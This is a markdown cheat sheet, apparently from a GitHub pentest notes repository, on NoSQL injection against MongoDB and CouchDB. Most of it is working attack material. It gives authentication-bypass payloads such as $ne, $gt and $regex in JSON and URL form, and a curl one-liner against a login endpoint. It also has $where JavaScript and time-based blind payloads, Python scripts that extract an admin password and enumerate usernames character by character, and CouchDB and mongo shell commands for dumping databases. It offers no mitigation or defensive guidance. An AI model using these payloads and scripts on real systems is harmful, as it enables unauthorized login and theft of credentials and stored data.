Skip to content

Latest commit

 

History

History
446 lines (310 loc) · 7.64 KB

File metadata and controls

446 lines (310 loc) · 7.64 KB

NoSQL Injection

Table of Contents


Overview

NoSQL injection occurs when user input is improperly sanitized before being used in NoSQL database queries. Unlike SQL injection, NoSQL databases use different query formats (JSON, BSON, etc.).

Common NoSQL Databases:

  • MongoDB
  • CouchDB
  • Redis
  • Cassandra

Authentication Bypass

Quick Check (One-liner)

# Quick NoSQL auth bypass test
curl -X POST http://$rhost/login -H 'Content-Type: application/json' -d '{"username":{"$ne":""},"password":{"$ne":""}}'

JSON-based Injection

Basic authentication bypass

{"username": {"$ne": ""}, "password": {"$ne": ""}}

Always true condition

{"username": {"$gt": ""}, "password": {"$gt": ""}}

Regex match all

{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}

URL Parameter Injection

Using array notation

username[$ne]=invalid&password[$ne]=invalid

Using $gt operator

username[$gt]=&password[$gt]=

Using $regex operator

username[$regex]=.*&password[$regex]=.*

With admin user

username=admin&password[$ne]=invalid
username=admin&password[$regex]=.*

PHP Array Injection

POST data as arrays

username[$ne]=test&password[$ne]=test

In Burp Suite (raw)

POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username[$ne]=test&password[$ne]=test

MongoDB Injection

Query Operators

Operator Description Example
$eq Equals {"field": {"$eq": "value"}}
$ne Not equals {"field": {"$ne": "value"}}
$gt Greater than {"field": {"$gt": ""}}
$gte Greater or equal {"field": {"$gte": ""}}
$lt Less than {"field": {"$lt": "z"}}
$lte Less or equal {"field": {"$lte": "z"}}
$in In array {"field": {"$in": ["a","b"]}}
$nin Not in array {"field": {"$nin": ["a"]}}
$regex Regex match {"field": {"$regex": "^a"}}
$exists Field exists {"field": {"$exists": true}}
$or OR condition {"$or": [{...}, {...}]}
$and AND condition {"$and": [{...}, {...}]}
$where JavaScript {"$where": "this.x==this.y"}

$where Injection

Basic JavaScript injection

{"$where": "1==1"}

Sleep for time-based detection

{"$where": "sleep(5000)"}

Data exfiltration via time

{"$where": "this.password.substr(0,1)=='a' || sleep(5000)"}

Extracting Data via $regex

Test if field starts with 'a'

{"username": "admin", "password": {"$regex": "^a.*"}}

Python script for extraction

import requests
import string

url = "http://$rhost/login"
password = ""
chars = string.ascii_letters + string.digits + string.punctuation

while True:
    for c in chars:
        payload = {"username": "admin", "password": {"$regex": f"^{password}{c}.*"}}
        r = requests.post(url, json=payload)
        if "success" in r.text:
            password += c
            print(f"Found: {password}")
            break
    else:
        break

print(f"Password: {password}")

Aggregation Pipeline Injection

Inject into aggregation

{"$match": {"$or": [{"username": "admin"}, {"1": "1"}]}}

CouchDB Injection

Mango Query Injection

Basic query

{
  "selector": {
    "username": {"$eq": "admin"},
    "password": {"$gt": null}
  }
}

All documents

{
  "selector": {
    "_id": {"$gt": null}
  }
}

View Function Injection

If JavaScript is enabled

/db/_design/doc/_view/view?key="'; return 'pwned"

CouchDB REST API

List all databases

curl http://$rhost:5984/_all_dbs

Get all documents

curl http://$rhost:5984/$database/_all_docs

Get document content

curl http://$rhost:5984/$database/$doc_id

Blind NoSQL Injection

Boolean-based Blind

True condition (login success)

username=admin&password[$regex]=^a.*

False condition (login fail)

username=admin&password[$regex]=^z.*

Time-based Blind

Using $where with sleep (MongoDB)

{"$where": "if(this.username=='admin') sleep(5000); else 0"}

Character extraction with timing

{"$where": "if(this.password.charAt(0)=='a') sleep(5000); else 0"}

Error-based

Invalid regex to trigger error

username[$regex]=*&password=test

Operators Exploitation

Data Type Juggling

Integer comparison

{"count": {"$gt": 0}}

Boolean injection

{"active": {"$ne": false}}

Array Operators

$elemMatch

{"items": {"$elemMatch": {"$gt": ""}}}

$size

{"items": {"$size": {"$gt": 0}}}

Object Operators

$type check

{"field": {"$type": 2}}  // String type

Enumeration Scripts

Username Enumeration

import requests
import string

url = "http://$rhost/login"
username = ""
chars = string.ascii_lowercase

while len(username) < 20:
    for c in chars:
        payload = {
            "username": {"$regex": f"^{username}{c}"},
            "password": {"$ne": ""}
        }
        r = requests.post(url, json=payload)
        if "success" in r.text or r.status_code == 200:
            username += c
            print(f"[+] Username: {username}")
            break
    else:
        break

print(f"[+] Complete username: {username}")

Password Extraction

import requests
import string

url = "http://$rhost/login"
password = ""
chars = string.ascii_letters + string.digits + "!@#$%^&*"

while len(password) < 50:
    for c in chars:
        # Escape special regex characters
        escaped = c if c not in "^$.*+?{}[]\\|()/" else f"\\{c}"
        payload = {
            "username": "admin",
            "password": {"$regex": f"^{password}{escaped}"}
        }
        r = requests.post(url, json=payload)
        if "success" in r.text:
            password += c
            print(f"[+] Password: {password}")
            break
    else:
        break

print(f"[+] Complete password: {password}")

Tools

NoSQLMap

Automated NoSQL injection

python nosqlmap.py -u "http://$rhost/login" --data "username=admin&password=test"

MongoDB Shell Injection

Direct connection

mongo --host $rhost
mongo --host $rhost -u $username -p $password --authenticationDatabase admin

In shell

show dbs
use $database
show collections
db.$collection.find()
db.$collection.find().pretty()

Quick Reference

Authentication Bypass Payloads

Payload Type
{"$ne": ""} Not empty
{"$gt": ""} Greater than empty
{"$regex": ".*"} Match all
{"$exists": true} Field exists
{"$in": ["admin", "root"]} In list

URL Encoded

username[$ne]=x&password[$ne]=x
username[$gt]=&password[$gt]=
username[$regex]=^admin&password[$regex]=^.
username=admin&password[$regex]=^a.*

Content-Type Variations

application/json → {"username": {"$ne": ""}}
application/x-www-form-urlencoded → username[$ne]=test

📚 See Also

Related Web Attacks